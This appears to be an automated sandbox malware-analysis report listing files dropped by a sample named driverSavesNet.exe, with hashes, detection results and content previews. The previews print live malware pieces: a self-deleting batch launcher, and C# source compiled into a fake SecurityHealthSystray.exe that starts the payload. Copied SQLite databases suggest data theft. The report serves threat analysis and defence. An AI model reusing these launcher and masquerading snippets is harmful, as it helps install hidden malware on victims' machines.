Malicious:	false
Preview:	jYWGX1lZIUlVMFgLO44zUrKeSIZ55LPS7LT5vBbE0bjFzedbiEbUUOE1O1xObqd7ETXBvlaMdz93HEoyp8W1t48sGbq4NMnJ7mAgGcp7nP1ePLtJM8jdTmOKVo4U4g8RMz5fEIsMSZNdDdd4rhrPmK0VX0KbhVCHQkRZQOEDQWK4ZuH1L9mXytoC9kHO7Qp6WFNcMEodcn8P956nsTQisoSh5OZqG0G9rNhThopGUJ5KuZDEndfoAGOsxqh7p8Wlh9ivXnGEnJNisIwgLVCmUb9k9zf0GsbWxTnv0SqAXbA03p9p3BwU5tQF97viHP85s0vYeBp2oCP3bJrU007E6HbDChv3gI3HcFHC3kK2W3p3dXo0PbsQS39lZrV6PvVgIIaVBpaPqFsCbijp34oFamzjGgnLON

C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\51176c96b1e3a4

Download File

Process:	C:\comReviewintocommon\driverSavesNet.exe
File Type:	ASCII text, with very long lines (920), with no line terminators
Category:	dropped
Size (bytes):	920
Entropy (8bit):	5.896022782775567
Encrypted:	false
SSDEEP:	24:43PQW2jMH1EUAIA7AlkWa7uxC6OVKEkSJR5YqHl5fL:4fQljwiUAIA7KVohOsSip
MD5:	5F39D437A4415924B0130A8A161D04C1
SHA1:	8D7AE4DE3D1B48642DACD2F5925CCA92952BF033
SHA-256:	2260D80509962ED3AA4E2999902C59BA4C0D211735E32314E8603ABB27F50DD4
SHA-512:	2E512D975CE684DE3AD7EB5F7C03B6D6767A4EE445E8DB06B23AA3BECAA3898900B2D538A322464C7BECF695F93F4F607565A10BC206E3A8380E819D3DC8C3AE
Malicious:	false
Preview:	d6Dw6HNABPx2n9WpW18vy5FDJ5r2pI5unwIln72a77aIBqeBiDMdvVGi0AnBZUV3UCO11vBY9hx0f6BcbqTl5c8SpjunU0Anmgy8bmJxCxdOhQD48KksAu82D6MRAYEIgKN8IDByhgjH8uvYg0pKQSm2i65fa1xntUrWCEw5IvLeK13TLxvJt32OiVaLIgYps5XoDYWbEtBeHHrqDlTnGn4zbcyrokxmXfvPdPPwaTE92YHantIgMviFAhMljpxe6YGlWcNxWgMxj57DVXD4cQam7qO5CoNvgkCdRgELgUJpivfEkIPMm2Cp8enpNRvsTbR83dwyT1YHHvELKJV3YAJniWfw2Y8OjbVHehLGWb3ue4iMabeD61TTSnZg89643Jipa6rn8Oh7HYJoxSWa35SrHCy0HoIXe81UW2wdu1ErUWL3evtpmgA700iYH1gTGKcIgyR5f2qC0kXu05VV5cu883dfUYV2VvlJ4CWpdxJuz7HPcxhMfKYnadKnUwlHhxrF9N0yip1HS9JAvNDg1JXKX7ta1tVrMCNBQCQO6sozTQVaUJ1GtEQYagsCda6yUJ5QwHut7yjIeh1GmTFs2O8HwzltUOugwzeJVEnNZHJ4fH33plZKVO6GLxd7fAZtDDVoCrvhq1SuEDmo5sEtykLi3X8hlprZsa1bvO07z2dd6MCHKyCx5q4c2xvptN6BK2BoMK3q2G36HrmqV0Xwn3dCfYj8dLNm5cTDLX595V5zw8VKLET30KYQZ8Jxl5Nq3QApYif84X0R7oPgDYwY1TvvEDoMOIYAHO5f8qwniU8dUGSusmtMIyzjfPlV4Tuw9zJtstiXmJzgUSb7u3dlYL1TZWAtFbtPkMde6jC8EWk99SOMxnkAzIXx70TWtzRLak6Iy6BL1fhCk2THHy5c0sZb

C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\gNKaMdWfDFzDkhEeKzQ.exe

Download File

Process:	C:\comReviewintocommon\driverSavesNet.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	2011136
Entropy (8bit):	7.5599312737247715
Encrypted:	false
SSDEEP:	24576:aaYfSyZiVbDcHyKpSxoKSoVJqjvQhufJOx9lpougTDMy79UWvlwYSrlN:aOQAxoRobq0MJOx9vg8y79UgKYSr
MD5:	F5C25B9C7F555EE1D53CE4A530C475C8
SHA1:	7E0A41CB7C6F71423A4CC932E47DBF0C217E76E4
SHA-256:	749CCD7B752553B5D7F9D9979EB8DADB6D70FB8879B22E1C6C315931D931A8AA
SHA-512:	A6EBF4AE7860C030292BBCFDBAD720A0D0DB06EF147673B6B504CADF819195960A427D33C757B370C544D43AD15AA48D1AF1D1EBA4944B15B6376A353FBFBE1D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 53%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....Y.f................................. ........@.. ....................... ............@.................................p...K....... ............................................................................ ............... ..H............text....... ...................... ..`.rsrc... ...........................@....reloc..............................@..B........................H.......................l...i............................................0..........(.... ........8........E...........9.......8....(.... ....~....{....:....& ....8....(.... ....8....(.... ....~....{....:....& ....8........0.......... ........8........E........j...........v...>...8....~....:f... ....8.......... ....~....{....:....& ....8........~....(r...~....(v... ....<.... ....8y...r...ps....z*8.... ....~....{....:T...& ....8I...~....(j... .... .... ....s....~....(n......

C:\Users\Default\AppData\Roaming\gNKaMdWfDFzDkhEeKzQ.exe

Download File

Process:	C:\comReviewintocommon\driverSavesNet.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	2011136
Entropy (8bit):	7.5599312737247715
Encrypted:	false
SSDEEP:	24576:aaYfSyZiVbDcHyKpSxoKSoVJqjvQhufJOx9lpougTDMy79UWvlwYSrlN:aOQAxoRobq0MJOx9vg8y79UgKYSr
MD5:	F5C25B9C7F555EE1D53CE4A530C475C8
SHA1:	7E0A41CB7C6F71423A4CC932E47DBF0C217E76E4
SHA-256:	749CCD7B752553B5D7F9D9979EB8DADB6D70FB8879B22E1C6C315931D931A8AA
SHA-512:	A6EBF4AE7860C030292BBCFDBAD720A0D0DB06EF147673B6B504CADF819195960A427D33C757B370C544D43AD15AA48D1AF1D1EBA4944B15B6376A353FBFBE1D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 53%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....Y.f................................. ........@.. ....................... ............@.................................p...K....... ............................................................................ ............... ..H............text....... ...................... ..`.rsrc... ...........................@....reloc..............................@..B........................H.......................l...i............................................0..........(.... ........8........E...........9.......8....(.... ....~....{....:....& ....8....(.... ....8....(.... ....~....{....:....& ....8........0.......... ........8........E........j...........v...>...8....~....:f... ....8.......... ....~....{....:....& ....8........~....(r...~....(v... ....<.... ....8y...r...ps....z*8.... ....~....{....:T...& ....8I...~....(j... .... .... ....s....~....(n......

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\driverSavesNet.exe.log

Download File

Process:	C:\comReviewintocommon\driverSavesNet.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1396
Entropy (8bit):	5.350961817021757
Encrypted:	false
SSDEEP:	24:ML9E4KQwKDE4KGKZI6KhPKIE4TKBGKoZAE4KKUNrJE4qtE4KlOU4mZsXE4Npv:MxHKQwYHKGSI6oPtHTHhAHKKkrJHmHKu
MD5:	EBB3E33FCCEC5303477CB59FA0916A28
SHA1:	BBF597668E3DB4721CA7B1E1FE3BA66E4D89CD89
SHA-256:	DF0C7154CD75ADDA09758C06F758D47F20921F0EB302310849175D3A7346561F
SHA-512:	663994B1F78D05972276CD30A28FE61B33902D71BF1DFE4A58EA8EEE753FBDE393213B5BA0C608B9064932F0360621AF4B4190976BE8C00824A6EA0D76334571
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Configuration\915c1ee906bd8dfc15398a4bab4acb48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Xml\db3df155ec9c0595b0198c4487f36ca1\System.Xml.ni.dll",0..2,"System.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Runtime.Serialization, Version=4.0.0.0, Culture=neutr

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\gNKaMdWfDFzDkhEeKzQ.exe.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	847
Entropy (8bit):	5.354334472896228
Encrypted:	false
SSDEEP:	24:ML9E4KQwKDE4KGKZI6KhPKIE4TKBGKoZAE4KKUNb:MxHKQwYHKGSI6oPtHTHhAHKKkb
MD5:	9F9FA9EFE67E9BBD165432FA39813EEA
SHA1:	6FE9587FB8B6D9FE9FA9ADE987CB8112C294247A
SHA-256:	4488EA75E0AC1E2DEB4B7FC35D304CAED2F877A7FB4CC6B8755AE13D709CF37B
SHA-512:	F4666179D760D32871DDF54700D6B283AD8DA82FA6B867A214557CBAB757F74ACDFCAD824FB188005C0CEF3B05BF2352B9CA51B2C55AECF762468BB8F5560DB3
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Configuration\915c1ee906bd8dfc15398a4bab4acb48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Xml\db3df155ec9c0595b0198c4487f36ca1\System.Xml.ni.dll",0..

C:\Users\user\AppData\Local\Temp\5EzibTfeO3

Download File

Process:	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\6UZHuAyBj4

Download File

Process:	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7mIRUPZPIA

Download File

Process:	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\EaYOx8g7Kk

Download File

Process:	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\FBhf9kZafO

Download File

Process:	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\NKM0E9DZnm

Download File

Process:	C:\comReviewintocommon\driverSavesNet.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	4.293660689688185
Encrypted:	false
SSDEEP:	3:6zp1Jrts:6M
MD5:	5850BB1CC36725F7C8F8FDBBFC10CEE4
SHA1:	F63C492402699ADFEF710B7798551E3667AA617E
SHA-256:	8728375B5E4DF98D7D02191CC75874D8CD5483D8558641B761F68A2B7562C069
SHA-512:	D56E7E3BDE3375C5DA5591441AB3FF6C8AF1EF513A04C659819273BF461E8C467CF71C0A8CFCA6AF7B0AE118C5F26F2C12B74F7DE13F9466133A6CD63D173A41
Malicious:	false
Preview:	vqrlbxdw69RLPl0drXIFNmJ5r

C:\Users\user\AppData\Local\Temp\Q8PMHj5mHa

Download File

Process:	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\RESD287.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x6ec, 10 symbols, created Mon Aug 26 19:39:20 2024, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1956
Entropy (8bit):	4.549706802382894
Encrypted:	false
SSDEEP:	24:HOO9/OUtDfH2wKjTNyluxOysuZhN7jSjRzPNnqpdt4+lEbNFjMyi0+QlUZ:WUx1K3MluOulajfqXSfbNtmh1Z
MD5:	681F9954E916AD0FB3481446AD0F061A
SHA1:	E3278DCBC9E3294471F33ADF5ED13422A202EA40
SHA-256:	3AC70E3D5ED14976B6924DB6B03CACA5B6A86A2AB8688917F450D036E1B2AACE
SHA-512:	0CA7AF62C3E4AB261076F04043FC4DE3BB2402A901DA09FCB33C8957057D511A82C82AAAD23801D0B25DD0DA84C1D607B7AD8E25F82A5A7CCCAABFDBE19A5A5C
Malicious:	false
Preview:	L......f.............debug$S........<...................@..B.rsrc$01................h...........@..@.rsrc$02........p...\|...............@..@........=....c:\Windows\System32\CSCBCBDE6D48A2D4BDA8A90105531C410CA.TMP.....................r.av..t.y..............4.......C:\Users\user\AppData\Local\Temp\RESD287.tmp.-.<....................a..Microsoft (R) CVTRES.^.=..cwd.C:\comReviewintocommon.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe......................... .......8.......................P.......................h.......................................................\|...............................................\|.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...T.....I.n.t.e.r.n.a.l.N.a.m.e...S.e.c.u.r.i.t.y.H.e.

C:\Users\user\AppData\Local\Temp\RJ4yfxqn4J.bat

Download File

Process:	C:\comReviewintocommon\driverSavesNet.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	168
Entropy (8bit):	5.396813889469314
Encrypted:	false
SSDEEP:	3:mKDDVNGvTVLuVFcROr+jn9mVLlA6NgvCHyBktKcKZG1t+kiE2J5xAIN6DWLRvz4H:hCRLuVFOOr+DEs6Ng6HyKOZG1wkn23fs
MD5:	41E841963819908B7E334CA0CFEDDF26
SHA1:	95294F1826FE2834842BC93EF15848A505EDAE2D
SHA-256:	B7A56FD02521616BFCDCCC3C1E5DA632790B084F227B89F1BF018A782BB0204C
SHA-512:	FC4160153CCF4912A6B6BF77C4961F8581646CE10AA93A0AF728C784E93147C101C21047B9379616D02A74AC236714A22E43D5F49DA5D04BA888C2309C10549D
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	@echo off..chcp 65001..ping -n 10 localhost > nul..start "" "C:\Windows\en-GB\gNKaMdWfDFzDkhEeKzQ.exe"..del /a /q /f "C:\Users\user\AppData\Local\Temp\\RJ4yfxqn4J.bat"

C:\Users\user\AppData\Local\Temp\X3GkojEZEQ

Download File

Process:	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cNS6DCBMhD

Download File

Process:	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\dmX0NqFQpF

Download File

Process:	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\jzqywwbr\jzqywwbr.0.cs

Download File

Process:	C:\comReviewintocommon\driverSavesNet.exe
File Type:	C++ source, Unicode text, UTF-8 (with BOM) text
Category:	dropped
Size (bytes):	419
Entropy (8bit):	5.128820390244908
Encrypted:	false
SSDEEP:	12:V/DNVgtDIbSf+eBLZ7bfiFkMSf+eBL6LTj8oLObiFkD:JNVQIbSfhV7TiFkMSfhWLTj8oO2FkD
MD5:	D11E9D6E60DD623C820A8EFFB3B6E5C4
SHA1:	ECF040798BD5402394125EE641F876086BBB81E7
SHA-256:	412813CF95D5EBD88B6AF74E4F5DCC095447DE51AC8E1FA5C33C254694FB7BC5
SHA-512:	E2DB8AD1205E081E03074CD15676A3ECE7A5E26408568638B5C4252276C2125F6D31F5CF718778EBACE29AB67BCC6652E1997ACE7A1BFB92E75F7729BE4B2432
Malicious:	false
Preview:	.using System.Diagnostics;.using System.Threading;..class Program.{. static void Main(string[] args). {. new Thread(() => { try { Process.Start(@"C:\Windows\system32\SecurityHealthSystray.exe.exe", string.Join(" ", args)); } catch { } }).Start();. new Thread(() => { try { Process.Start(@"C:\Program Files (x86)\microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe"); } catch { } }).Start();. }.}.

C:\Users\user\AppData\Local\Temp\jzqywwbr\jzqywwbr.cmdline

Download File

Process:	C:\comReviewintocommon\driverSavesNet.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with no line terminators
Category:	dropped
Size (bytes):	250
Entropy (8bit):	5.107939483147355
Encrypted:	false
SSDEEP:	6:Hu+H2L//1xRT0T79BzxsjGZxWE8owkn23fd8pAn:Hu7L//TRq79cQWfF8pA
MD5:	979452DF45AF40314AE623942685F9D1
SHA1:	BA8FE1ADB07B6D90C87F11CD5DDD162F94BE7193
SHA-256:	FF278C79AB8E0FCACA56262BE2FED4A91A28F5E232E08F8AA8DBC3B1534D4C9F
SHA-512:	1520E5AFBB2125BABE07E39C6EAE2878C742058E26E1BB3BD950264539A10C38C30A46C4A9489DE98E9A152256D44608FFBF60674D1AB1F66B2DECAFAFCEA7B7
Malicious:	true
Preview:	./t:exe /utf8output /R:"System.dll" /R:"System.Threading.dll" /R:"System.Data.dll" /out:"C:\Windows\system32\SecurityHealthSystray.exe" /debug- /optimize+ /optimize+ /target:winexe /unsafe "C:\Users\user\AppData\Local\Temp\jzqywwbr\jzqywwbr.0.cs"

C:\Users\user\AppData\Local\Temp\jzqywwbr\jzqywwbr.out

Download File

Process:	C:\comReviewintocommon\driverSavesNet.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (329), with CRLF, CR line terminators
Category:	modified
Size (bytes):	750
Entropy (8bit):	5.272874122495879
Encrypted:	false
SSDEEP:	12:cIHI/u7L//TRq79cQWfF8p1KaxK4BFNn5KBZvK2wo8dRSgarZucvW3ZDPOU:5HI/un/Vq79tWfFE1Kax5DqBVKVrdFAw
MD5:	59780DF9E88B53D2DA90E62CF3DD9806
SHA1:	29A249DA7793C0A4E6DCDF12478FDFC41B5E4021
SHA-256:	430E930BF622F0248012FC4BB378EE9A7247B1B63A059BB312B8E2B63D456D83
SHA-512:	F2AB8DD4F84DE6A19B22E48EC3E5DBF2DA940E246F089876864A02859B97DB23D738D4248D6FF185BF87BB4D5B0E58D192A47E41D78958E260FF7DA7B59CBCE0
Malicious:	false
Preview:	.C:\comReviewintocommon> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:exe /utf8output /R:"System.dll" /R:"System.Threading.dll" /R:"System.Data.dll" /out:"C:\Windows\system32\SecurityHealthSystray.exe" /debug- /optimize+ /optimize+ /target:winexe /unsafe "C:\Users\user\AppData\Local\Temp\jzqywwbr\jzqywwbr.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\lE5kj3Q2Tr

Download File

Process:	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
